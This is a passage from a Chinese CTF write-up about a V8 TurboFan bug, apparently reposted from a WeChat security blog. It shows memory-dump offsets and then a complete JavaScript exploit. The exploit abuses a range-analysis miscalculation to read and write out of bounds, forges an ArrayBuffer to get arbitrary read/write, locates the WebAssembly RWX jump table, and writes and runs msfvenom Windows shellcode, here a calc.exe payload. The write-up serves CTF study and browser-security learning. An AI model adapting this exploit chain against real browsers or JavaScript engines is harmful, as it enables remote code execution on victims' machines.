730x00002fac7911ebb0    0x00000cdfc00801d1    ODDBALL_TYPE    
740x00002fac7911ebb8    0x00002dc289f94d21    CODE_TYPE    
750x00002fac7911ebc0    0x0000000000000000    
760x00002fac7911ebc8    0x00007f9f9cf60000    
770x00002fac7911ebd0    0x0000000000010000    
780x00002fac7911ebd8    0x000000000000ffff    
790x00002fac7911ebe0    0x0000556b3a3e0c00    
800x00002fac7911ebe8    0x0000556b3a3ea630    
810x00002fac7911ebf0    0x0000556b3a3ea620    
820x00002fac7911ebf8    0x0000556b3a47c210    
830x00002fac7911ec00    0x0000000000000000    
840x00002fac7911ec08    0x0000556b3a47c230    
850x00002fac7911ec10    0x0000000000000000    
860x00002fac7911ec18    0x0000000000000000    
870x00002fac7911ec20    0x0000087e7c50a000    JumpTableStart [RWX]  <=======================
880x00002fac7911ec28    0x0000556b3a47c250    
890x00002fac7911ec30    0x0000556b3a47afa0    
900x00002fac7911ec38    0x0000556b3a47afc0    
91----- [ TUPLE2_TYPE : 0x18 ] -----
920x00002fac7911ec40    0x00000cdfc00827c9    MAP_TYPE    
930x00002fac7911ec48    0x00002fac7911eb29    WASM_INSTANCE_TYPE    
940x00002fac7911ec50    0x00002073d820b849    JS_FUNCTION_TYPE    
95----- [ WASM_MEMORY_TYPE : 0x30 ] -----
960x00002fac7911ec58    0x00001024ebc89e11    MAP_TYPE    
970x00002fac7911ec60    0x00000cdfc0080c19    FIXED_ARRAY_TYPE    
980x00002fac7911ec68    0x00000cdfc0080c19    FIXED_ARRAY_TYPE

通过如下的调试,可以得到相关偏移的信息(不同的checkout版本,可能偏移有差异)

1let WasmOffsets = { 
2  shared_function_info : 3,
3  wasm_exported_function_data : 1,
4  wasm_instance : 2,
5  jump_table_start : 31
6};

定位到JumpTableStart后,最后将shellcode写入并执行。Of course,覆写shellcode前应当备份内存数据,执行shellcode后再修复修改的内存。

(5)Exploit

  1/**** ┌──(root?kali)-[~/bigric3/HW/SilverNeedle/scanner2/SilverNeedle-master]
2└─# msfvenom --arch x64 --platform windows --payload windows/x64/exec cmd=calc.exe -f c
3****/

4
5let shellcode = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00];
6
7let WasmOffsets = { 
8  shared_function_info : 3,
9  wasm_exported_function_data : 1,
10  wasm_instance : 2,
11  //jump_table_start : 31,
12  jump_table_start: 29
13};
14
15let AB_LENGTH = 0x200;
16let AB_LENGTH_MARK = 0x0000020000000000;
17let NEW_LENGTH64  = 0x0000006400000000;
18let NEW_LENGTHC8  = 0x000000C800000000;
19let MARK1SMI = 0x13;
20let MARK2SMI = 0x37;
21let MARK1 = 0x0000001300000000;
22let MARK2 = 0x0000003700000000;
23
24let ARRAYBUFFER_SIZE = 0x40;
25let PTR_SIZE = 8;
26
27let ab = new ArrayBuffer(8);
28let fv = new Float64Array(ab);
29let dv = new BigUint64Array(ab);
30
31let f2i = (f) => {
32  fv[0] = f;
33  return dv[0];
34}
35
36let i2f = (i) => {
37  dv[0] = BigInt(i);
38  return fv[0];
39}
40
41let tagFloat = (f) => {
42  fv[0] = f;
43  dv[0] += 1n;
44  return fv[0];
45}
46
47let hexprintablei = (i) => {
48  return (i).toString(16).padStart(16,"0");
49}
50
51let debug = (x,z, leak) => {
52  print("oob index is " + z);
53  print("length is " + x.length);
54  print("leaked 0x" + hexprintablei(f2i(leak)));
55  ////%DebugPrint(x);
56  //%SystemBreak();
57  ////%DumpObjects(x,13); // 23 & 3 to dump the jsarray's elements
58};
59
60
61var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
62
63
64
65let opt_me = (x) => {
66  let arr = new Array(1.1,1.2,1.3,1.4,1.5,1.6,1.7);
67  let y = (( x==1 ) ? 9007199254740992 : 9007199254740989) + 1 + 1;
68  y = y - 9007199254740989// max=2, actual max=5
69  y = y * 2// max=4, actual max=10
70
71  //print("=====>  0x64length: 0x" + i2f(NEW_LENGTH64) + "  0xc8: 0x" + i2f(NEW_LENGTHC8));
72  // before out of bounds 2 write, don’t call self define func 
73  arr[y] = 4.24399158193e-312;//2.121995790965e-312;  // corrupt arr.length => i2f(NEW_LENGTH64)
74
75
76  var wasmModule = new WebAssembly.Module(wasmCode);
77  var wasmInstance = new WebAssembly.Instance(wasmModule, {});
78  var get_pwnd = wasmInstance.exports.main;
79  print("[+] Debug get_pwnd...");
80  //%DebugPrint(get_pwnd);
81  var d = get_pwnd();
82  console.log("[*] return from wasm: " + d);
83
84  let leak = arr[y];
85  let arr2 = Array.of(1.2);
86  let evil_ab = new ArrayBuffer(AB_LENGTH);
87  let packed_elements_array = Array.of(MARK1SMI,Math,MARK2SMI, get_pwnd);
88  //let ab_len_idx = arr.indexOf(2.121995790965e-312);//(5.43230922487e-312);
89  let ab_len_idx = arr.indexOf(i2f(AB_LENGTH_MARK));//5.43230922487e-312);//i2f(AB_LENGTH_MARK));
90  print("idx: "+ab_len_idx);
91  if(ab_len_idx==-1)
92        return;
93
94
95  if (x == 1){
96
97    print("[+] Debug arr...");
98    //%DebugPrint(arr);
99
100    let ibackingstore_ptr = f2i(arr[ab_len_idx + 1]);
101    let fbackingstore_ptr = arr[ab_len_idx + 1];
102    print("[+] Found backingstore pointer : " + hexprintablei(ibackingstore_ptr));
103
104
105    let view = new BigUint64Array(evil_ab);
106    print("[+] Debug view...");
107    //%DebugPrint(view);
108    for (let i = 0; i < ARRAYBUFFER_SIZE / PTR_SIZE; ++i) {
109      view[i] = f2i(arr[ab_len_idx-3+i]);  // make fakeobj => evil ab obj
110      print("[+] arr"+i+": 0x"+hexprintablei(f2i(arr[ab_len_idx-3+i])) +";view: 0x"+hexprintablei(view[i]));
111    }
112
113
114    //%SystemBreak();
115    let magic_mark_idx = arr.indexOf(i2f(MARK1));
116    print("[+] magic_mark_idx: " + magic_mark_idx);
117    arr[magic_mark_idx+1] = tagFloat(fbackingstore_ptr);  // overwrite MATH PTR
118
119    // [4] leak wasm function pointer 
120    let ftagged_wasm_func_ptr = arr[magic_mark_idx+3]; // we want to read get_pwnd
121    print("[+] get_pwnd ptr: 0x" + hexprintablei(f2i(ftagged_wasm_func_ptr)) );
122
123    // set fake_evilab.ArrayBuffer 
124    view[4] = f2i(ftagged_wasm_func_ptr)-1n;
125
126    // [5] use RW primitive to find WASM RWX memory
127    let rw_view = new BigUint64Array(packed_elements_array[1]);
128    let shared_function_info = rw_view[WasmOffsets.shared_function_info];
129    view[4] = shared_function_info - 1n; // detag pointer
130    print("[+] shared info: 0x" + hexprintablei(view[4]));
131
132    rw_view = new BigUint64Array(packed_elements_array[1]);
133    let wasm_exported_function_data = rw_view[WasmOffsets.wasm_exported_function_data];
134    view[4] = wasm_exported_function_data - 1n; // detag
135    print("[+] export func: 0x" + hexprintablei(view[4]));
136
137    rw_view = new BigUint64Array(packed_elements_array[1]);
138    let wasm_instance = rw_view[WasmOffsets.wasm_instance];
139    view[4] = wasm_instance - 1n; // detag
140    print("[+] wasm instance: 0x" + hexprintablei(view[4]));
141
142    rw_view = new BigUint64Array(packed_elements_array[1]);
143    let jump_table_start = rw_view[WasmOffsets.jump_table_start]; 
144    print("[+] jmp start: 0x" + hexprintablei(jump_table_start));
145
146
147    view[4] = jump_table_start;
148    rw_view = new Uint8Array(packed_elements_array[1]);
149
150    // [6] write shellcode in RWX memory
151    //print("[+] start to write shellcode ....");
152    for (let i = 0; i < shellcode.length; ++i) {
153      print("[+] start to write shellcode: "+i);
154      rw_view[i] = shellcode[i];
155    }
156
157    print("[+] write shellcode end ....");
158
159    // [7] PWND!
160    //%SystemBreak();
161    get_pwnd();
162
163    print(res);
164
165    debug(arr,y, leak);
166    print("array's length: "+ arr.length);
167    print("oob read: " + arr[20]);
168  }
169
170  return leak;
171}
172
173
174opt_me(0);
175//%OptimizeFunctionOnNextCall(opt_me);
176//let res = opt_me(1);
177for(let i = 0; i < 0x10000; i++)
178    opt_me(1);
从一道CTF浅尝V8源码

参考

  1. https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/

  2. https://kiprey.github.io/2021/01/v8-turboFan

  3. https://sagecell.sagemath.org/?z=eJzT0DXUjDNQ0FIwijM1AlIahgraIEJXwVBfAySmqakJAHo9Bo0=&lang=sage

  4. https://sagecell.sagemath.org/?z=eJzT0DXUjDNQ0FIwijM1BlIahgraCgaaADQcBCc=&lang=sage

  5. https://sagecell.sagemath.org/?z=eJzT0DXUjDNQ0FIwijM1BlIahgraCob6GkCukaYmAFdlBZ8=&lang=sage


原文始发于微信公众号(SilverNeedleLab):从一道CTF浅尝V8源码

版权声明:admin 发表于 2022年4月11日 下午7:43。
转载请注明:从一道CTF浅尝V8源码 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...